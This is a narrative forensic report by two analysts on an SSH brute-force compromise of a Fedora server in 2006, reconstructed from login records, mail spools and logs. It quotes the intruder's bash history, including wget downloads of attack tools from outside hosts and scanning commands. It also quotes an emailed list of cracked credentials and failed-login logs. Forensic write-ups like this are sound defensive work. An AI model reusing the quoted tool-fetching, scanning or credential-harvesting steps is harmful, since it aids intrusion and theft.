bookmarks
readme
tools
The Forensic Diary: A story of a day
This report gives the detailed proceedings of the forensic,
post incident analysis of the host `net1.net.in'(herein referred
to as: victim). Victim has an ip address 202.Y.X.210, and
belongs to the NET Corporation here at Bangalore. It has been
confirmed from the evidence gathered, that the victim was compro-
mised and was seized by the unknown (herein referred to as: sub-
ject), for considerably long time with an impressive stealth to
it. It is also clear, how the subject broke into the victim in
the first place.
The term `subject', by its nature, might convey a message
that the unknown is the same single identity. But please be
warned, it may not be quite so. If considered single, the follow-
ing report provides just a hint about the expertise and prosper-
ity of the subject in her possibly evil intentions; Otherwise it
leaves absolutely no boundary to ones imagination, to speculate
about the wilderness of the Internet.
Prologue
--------
Monday, November 27 2006. When, I was first informed about
the incident and summoned for the action. I was a bit skeptical
about the seriousness of the matter, and about all that was being
said, and judged around me. Though, I did not completely disre-
gard the possibility of a serious breach, it was partly because
of the vagueness of the information. I was also told that, since
the discovery of the symptoms of a possible breach, the victim
was once shutdown, and restarted again, this time off the net-
work, like an isolated island.
At the scene
------------
Thursday, November 30 2006. Two machines, the victim and its
co host, named net3.net.in(IP: 202.Y.X.211), were running `Fedora
Core 4'. An excellent Desktop GNU/Linux distribution from Red-
hat(see: http://fedora.redhat.com). They were sitting comfort-
ably, like two copassengers on an already crammed wooden seat,
crowded with a network switch, a spike buster, empty mouse pads,
two mice misplaced, and the spidery net of wires & cables to sur-
round it all.
I caught hold of a white keyboard, and instinctvely ran the
`last' command to see which users did login to the victim, and
from where on earth did they do it. `last' is a very useful Linux
command, that shows all the users who did login to the machine,
till date in the current month (November 2006), along with the IP
address of the remote host from where they did it, at what time
they did login and at what time did they logout. All this infor-
mation(of current month) is usually stored in a precompiled
`/var/log/wtmp' file. An excerpt of the output of the command is
shown below(see: [1]).
-1-
# last
+------+-------------+------------+---------+----------+
| User | Remote host | Date | Time in | Time out |
+------+-------------+------------+---------+----------+
|root | :0.0 | Thu Nov 30 | 11:44 | still in |
|root | tty1 | Mon Nov 27 | 11:40 | down |
|guest | 172.Y.X.192 | Mon Nov 27 | 01:13 | 01:34 |
|guest | 172.Y.X.86 | Sun Nov 26 | 22:09 | 01:09 |
|guest | 172.Y.X.248 | Sun Nov 26 | 03:03 | 20:29 |
| ... | . | . | . | . |
|guest | 86.Y.X.26 | Fri Nov 17 | 18:25 | 19:18 |
|guest | 172.Y.X.52 | Fri Nov 17 | 15:41 | 15:46 |
|root | tty1 | Wed Nov 15 | 12:02 | 16:58 |
|root | tty2 | Wed Nov 15 | 11:59 | down |
|guest | 172.Y.X.80 | Wed Nov 15 | 02:09 | 02:11 |
|guest | 172.Y.X.150 | Tue Nov 14 | 02:30 | 03:08 |
| ... | . | . | . | . |
|guest | 86.Y.X.26 | Fri Nov 3 | 01:10 | 05:43 |
|guest | 86.Y.X.26 | Wed Nov 1 | 18:41 | 20:53 |
+------+-------------+------------+---------+----------+
As can be seen above, the victim was remotely accessed by only
guest user, that too from several different hosts, belonging to
different classes of network. There are mainly four classes of
computer IP address, class-A, class-B, class-C, and class-D.
There is also a class-E, but it is reserved address class. The
addresses seen above belong to the class-A(ex: 86.Y.X.26) and
class-B(ex: 172.Y.X.150) network. For more information about IP
address classification see: http://en.wikipedia.com/wiki/class-
ful_network.
This visibly strange output of the `last' command puzzled
me; And I casually asked
"Whom do they(those IPs) belong to?"
"Are they allowed to access the victim??"
and, was almost dumbstruck to hear the reply,
"No, I don't know!"
said one of the victim administrator. At that moment, thought of
a real nasty compromise, a hack, made an electric wave of shudder
pass through my spine. I asked them to find information about
those IPs and quickly issued the command
`service --status-all | grep -i running', to see which are all
Linux services running on the victim. The output had the same
chilling effect on me. Almost all(24 in count) the services were
running. The administrators had not bothered to shut them off.
Nonetheless, though I didn't find anything suspicious running on
the victim, I could not let, the thought of a trojaned service
running on the victim, leave my mind. An output of the above com-
mand is shown below
-2-
# service --status-all | grep -i running
acpid (pid 2092) is running...
atd (pid 2342) is running...
auditd (pid 1793) is running...
...
sendmail (pid 7668 7662) is running...
sshd (pid 2202) is running...
syslogd (pid 1735) is running...
klogd (pid 1737) is running...
xfs (pid 2327) is running...
xinetd (pid 2211) is running...
At this point, about 11:30 in the morning, surrounding was
warm, though AC was doing its best to keep it cold. Occassionlly,
someone would peep through the door to see what we were doing,
some even made it a point to come and ask
"Hey, what happened?"
"What are you doing??"
perhaps they needed a topic to dissect over a coffee table. For
them everything was normal, as usual, it was bright sunny Thurs-
day morning at the office. Everybody seemed to enjoy it as
though nothing had happened.
I looked at the victim, and suddenly my senses seemed to
come back from a distant world. I recollected my thoughts, my
mind, and tried to prepare myself for what, I was quite convinced
by now, was a compromise. Someone was actually controlling the
victim host, which now I found pale and half dead. I typed the
# su - guest
command to switch my user id, and thus my privileges, from root
to guest. I was greeted with an intuitive bash prompt, showing
`guest' my new user name, `net1' the victims first name, a
tilde(~) sign representing my home directory, and a dollar($) at
the end, signifying my reduced privileges. I found it glorious
though, as if I was the subject controlling the victim, from some
other end of the earth, using this very prompt.
[guest@net1 ~]$ _
I issued the `history' command to see the bash history,
listing all the commands that the subject had executed on the
victim over time. `history' is an internal bash command which
shows this list reading from the `.bash_history' file, hidden
under the home directory of a user, `guest'(the subject). The
screen quickly scrolled down with commands, and I, least expect-
ing to see any useful output, was instantly overwhelmed by the
joy of seeing all the commands that subject had executed, right
in front of my eyes. Over 900 in count. I readily understood the
-3-
strength and value of this seemingly trivial shell function, and
appreciated bash for it. An excerpt from the output of the his-
tory command is shown below(see: [2]).
[guest@net1 ~]$ history
1 w
2 cat /proc/cpuinfo
3 cd /tmp
4 wget geoc.com/black_love2001/naroot/ssh22.tar.gz
5 wget 66.Y.X.68/black_love2001/naroot/ssh22.tar.gz
6 wget tg-jiu.go.ro/.x/wheley.tgz
7 wget 81.Y.X.134/.x/wheley.tgz
8 cd /var/tmp/shit
9 ./a 129.21
10 ./scan 80.129
11 ./a 80.129
12 nmap 200.Y.X.11
...
910 ./go 219.9
911 ./go 219.10
912 ls
I was shocked by what I had just seen. It was day light
clear to everyone of us that the subject had successfully broke
into the victim. The subject did download her evil, but bril-
liantly crafted tools, and was leisurely scanning the other net-
works. The intentions and objectives behind such scans are
invariably varied, and are often malicious. Though the subject
was careful enough to delete her tools after their use, it seems
she completely overlooked the possibility of being seen by some-
one, and being thrown out like a passenger without ticket travel-
ling first class. The subject missed to destroy her traces, from
the bash history and the ssh login history. The tools used were
downloaded using `wget'. A yet another extremly powerful GNU
tool, used as a network downloader, see: http://www.gnu.org/soft-
ware/wget.
The tools downloaded include, ssh2, network scanners, password
cracker programs, and few more. I felt dreaded by the thought,
what if the victim network had links to our internal network?
But, soon I felt relieved, as it was not possible by using
the victim. By this time, the clock showed 13:12 hrs, the lunch
time. We decided to have lunch break, and come back as soon as
possible.
Post lunch, all gathered at the scene by 14:05 hrs. I was
curious to know, just how long the subject was using the victim.
When did she *first* break into the victim? I again issued the
`last' command, but this time with its `-f' option, which lets
you specify the file you want to see. I knew, Linux maintains
last one months login records in a file `/var/log/wtmp.1'. Every
month, the `/var/log/wtmp.1' file is overwritten by the last
-4-
months `wtmp' file and new wtmp is compiled for the current
month, as `/var/log/wtmp'. So I typed the command, and was
pleased to see the result. An excerpt of the output is shown
below(see: [3]).
[guest@net1 ~]$ last -f /var/log/wtmp.1 | less
+-------+-------------+------------+---------+----------+
| User | Remote host | Date | Time in | Time out |
+-------+-------------+------------+---------+----------+
|guest | 86.Y.X.26 | Wed Nov 1 | 01:13 | still in |
|guest | 86.Y.X.26 | Sun Oct 29 | 22:54 | 22:56 |
| ... | . | . | . | . |
|guest | 86.Y.X.26 | Tue Oct 24 | 17:54 | 18:22 |
|guest | 80.Y.X.11 | Tue Oct 24 | 02:00 | 02:55 |
|guest | 172.Y.X.9 | Tue Oct 24 | 00:49 | 04:52 |
|guest | 202.Y.X.210 | Mon Oct 23 | 21:01 | 21:01 |
|guest | 80.Y.X.11 | Mon Oct 23 | 20:22 | 22:47 |
|guest | 80.Y.X.11 | Mon Oct 23 | 02:12 | 02:13 |
|guest | 80.Y.X.54 | Mon Oct 23 | 02:10 | 10:41 |
| ... | . | . | . | . |
|root | tty3 | Mon Oct 16 | 16:42 | 17:17 |
|root | tty3 | Fri Oct 13 | 12:21 | 12:22 |
|root | tty1 | Fri Oct 13 | 12:20 | still in |
|reboot | system boot | Mon Oct 9 | 13:17 | - |
+-------+-------------+------------+---------+----------+
So, the first breakin by the subject was observed on `Monday,
October 23, 2006' from a remote host 80.Y.X.54. Also as can be
seen, the subject did several different guest logins, the same
day and the day after, from several different remote machines.
One of us tried to find out who these IPs belong to and got the
following
+------------+-------------------------+-------------+
| IP | Organisation | Country |
+------------+-------------------------+-------------+
|172.Y.X.97 | America online (AOL) | Dulles, USA |
|172.Y.X.205 | America online (AOL) | Dulles, USA |
|172.Y.X.178 | America Online (AOL) | Dulles, USA |
|172.Y.X.9 | America Online (AOL) | Dulles, USA |
|172.Y.X.239 | America Online (AOL) | Dulles, USA |
|194.Y.X.181 | Fornix | Romania |
|80.Y.X.54 | Systemykf | Poland |
|80.Y.X.11 | Telemobil-SA | Poland |
|86.Y.X.26 | Romtelecom Data Network | Romania |
|193.Y.X.204 | Canad Systems Network | Romania |
|72.Y.X.150 | Road Runner HoldCo | USA |
|8.Y.X.66 | Level 3 Communications | USA |
+------------+-------------------------+-------------+
* Sources: http://www.arin.net/
* http://www.afrinic.net
* http://www.apnic.net
* http://www.arin.net/index.shtml
* http://lacnic.net/en/index.html
* http://www.ripe.net/
-5-
The treasure of the subject's deeds was found, and found
wide open. Revealing all its wealth to the whole of the world.
Now the only thing remained mystery was, the answer to the big
"HOW...?".
How...?
Just how on earth did she(the subject) managed to break in??
Everybody was thinking their way to solve the mystery. I was con-
templating my next command to run. I was thinking of checking the
Linux system logs, hoping to get some clue of the next step.
When, suddenly one of us got up, and he impulsively typed `mail'
on the command prompt, before anybody could say anything, he hit
the `Enter' key. But, that was exactly what was needed. The sys-
tem had been running `syslog', and `sendmail'. Once again, every-
thing opened in front of us. He had hit exactly the right keys.
List of more than 50-60 mails scrolled down on the screen. We all
started reading mails received by guest. All of them were warning
messages from the MAILER-DAEMON@net1.net.in with the subject
[guest@net1 ~]$ mail
...
From: MAILER-DAEMON@net1.net.in
Subject: Warning: could not send message for past 4 hours.
...
Apparently, the subject had tried to send mails from guest to
some yahoo id with the following subject and body, because she
thought that the system must be able to send mails, as sendmail
was running. But little did she know that It was not configured,
what a pity! All the messages had the same id and similar message
contents.
From: guest
To: nomad@yahoo.com
Subject: Lame Gang Us Root
michael:michael:217.Y.X.109
admin:password:217.Y.X.233
DUP sales:sales:217.Y.X.113
DUP david:david:217.Y.X.113
sales:sales:217.Y.X.113
test:test:217.Y.X.57
Now we decided to read mails received by the `root' user, as sys-
log regularly sends logs, through sendmail, to the root user. I
switched the window using `Alt+Tab' to go to the root shell,
shining with that glorious hash(#) prompt, indicating `root'
-6-
user. I did not run `mail' this time. I knew, on Linux, the SMTP
daemon, the sendmail service stores the users mail in
`/var/spool/mail/$USER' file, where $USER is the name of the
logged in user, in this case the `root'. I typed the command
`less /var/spool/mail/root', and was not really surprised to see
the result. All the messages were more or less of the same kind.
They were all system logs, pam_unix logs, gdm log, the disk usage
logs, sshd logs, etc.
Early in the mail file, we saw a message dated Fri, July 21
2006. It was from root@net1.net.in to root@net1.net.in and con-
tained sshd logs, which looked like, were generated because of a
brute force attack. An excerpt of the mail is shown below.
# less /var/spool/mail/root
From root@net1.net.in Fri Jul 21 04:03:14 2006
Return-Path:
Date: Fri, 21 Jul 2006 04:02:34 +0530
From: root
Message-Id: <200607202232.k6KMWYNn019150@net1.net.in>
To: root@net1.net.in
Subject: LogWatch for net1.net.in
Status: O
################### LogWatch 6.0.1 (02/24/05) ####################
Processing Initiated: Fri Jul 21 04:02:03 2006
Date Range Processed: yesterday
Detail Level of Output: 10
Type of Output: unformatted
Logfiles for Host: net1.net.in
##################################################################
--------------------- pam_unix Begin ------------------------
crond:
Sessions Opened:
root: 458 Time(s)
sshd:
Authentication Failures:
unknown (221.Y.X.183): 101 Time(s)
root (221.Y.X.183): 24 Time(s)
root (202.Y.X.184): 3 Time(s)
...
root (211.Y.X.79): 3 Time(s)
ftp (221.Y.X.183): 1 Time(s)
mail (221.Y.X.183): 1 Time(s)
operator (221.Y.X.183): 1 Time(s)
...
root (218.Y.X.205): 1 Time(s)
unknown (201.Y.X.50): 1 Time(s)
Invalid Users:
Unknown Account: 124 Time(s)
---------------------- pam_unix End -------------------------
-7-
--------------------- SSHD Begin ------------------------
Didn't receive an ident from these IPs:
202.Y.X.44: 1 Time(s)
203.Y.X.70: 1 Time(s)
210.Y.X.251: 1 Time(s)
217.Y.X.149: 1 Time(s)
221.Y.X.183: 1 Time(s)
83.Y.X.26: 1 Time(s)
Failed logins from these:
a/password from ::ffff:221.Y.X.183: 1 Time(s)
aa/password from ::ffff:221.Y.X.183: 1 Time(s)
admin/password from ::ffff:202.Y.X.184: 2 Time(s)
admin/password from ::ffff:211.Y.X.79: 2 Time(s)
admin/password from ::ffff:221.Y.X.183: 1 Time(s)
administrator/password from ::ffff:221.Y.X.183: 1 Time(s)
alexander/password from ::ffff:221.Y.X.183: 1 Time(s)
alexandre/password from ::ffff:221.Y.X.183: 1 Time(s)
alin/password from ::ffff:221.Y.X.183: 1 Time(s)
angel/password from ::ffff:221.Y.X.183: 1 Time(s)
artwork/password from ::ffff:202.Y.X.44: 1 Time(s)
asdk/password from ::ffff:202.Y.X.44: 1 Time(s)
b/password from ::ffff:221.Y.X.183: 1 Time(s)
bb/password from ::ffff:221.Y.X.183: 1 Time(s)
bianca/password from ::ffff:221.Y.X.183: 1 Time(s)
bind/password from ::ffff:221.Y.X.183: 1 Time(s)
c/password from ::ffff:221.Y.X.183: 1 Time(s)
...
microsoft/password from ::ffff:221.Y.X.183: 1 Time(s)
mike/password from ::ffff:221.Y.X.183: 1 Time(s)
nero/password from ::ffff:221.Y.X.183: 1 Time(s)
nokia/password from ::ffff:221.Y.X.183: 1 Time(s)
o/password from ::ffff:221.Y.X.183: 1 Time(s)
production/password from ::ffff:202.Y.X.44: 1 Time(s)
prueba/password from ::ffff:221.Y.X.183: 1 Time(s)
q/password from ::ffff:221.Y.X.183: 1 Time(s)
...
y/password from ::ffff:221.Y.X.183: 1 Time(s)
yy/password from ::ffff:221.Y.X.183: 1 Time(s)
z/password from ::ffff:221.Y.X.183: 1 Time(s)
zz/password from ::ffff:221.Y.X.183: 1 Time(s)
...
---------------------- SSHD End -------------------------
Everyone was dumbstruck by this display. I tried to reason the
fact that, since July, the 21'st 2006, the subject was attempting
to get into the victim. What incentive did she have, Why would
she try so hard, what were her intentions. I scrolled through
the entire mail file, all the messsages were equally same, with
exactly similar log entries. The mail which came on October 24
2006 had the log of 19 successful guest logins from 7 different
machines across the globe. By this time the clock showed
16:16hrs, and everthing seemed perfectly in place. There was
nothing much to explore further. We were tired from our expedi-
tion, and decided to break.
-8-
Epilogue
--------
We concluded that, the victim was first compromised on Octo-
ber 23 2006 by the subject, possibly using a brute force attack
on the ssh daemon. She had successfully guessed the guest user's
password, and had happily logged in. She then downloaded network
scanners, password crackers, etc. on the machine. A closer
inspection of files left behind by the unaware subject revealed
her modus operandi. She was scanning for port 10000, the Webmin
service. Webmin recently had an arbitrary file disclosure vulner-
ability(See: http://nvd.nist.gov/nvd.cfm?cvename=CVE-2006-3392).
So, she was looking for the vulnerable Webmin services running in
the Internet; Exploiting those machines to get the password
files. Then she ran password cracker programs on them and tried
to mail the cracked accounts to a Yahoo-mail address. For more
than a months period the victim was in a compromised state, and
no one noticed it.
By: P J P
Ramkumar G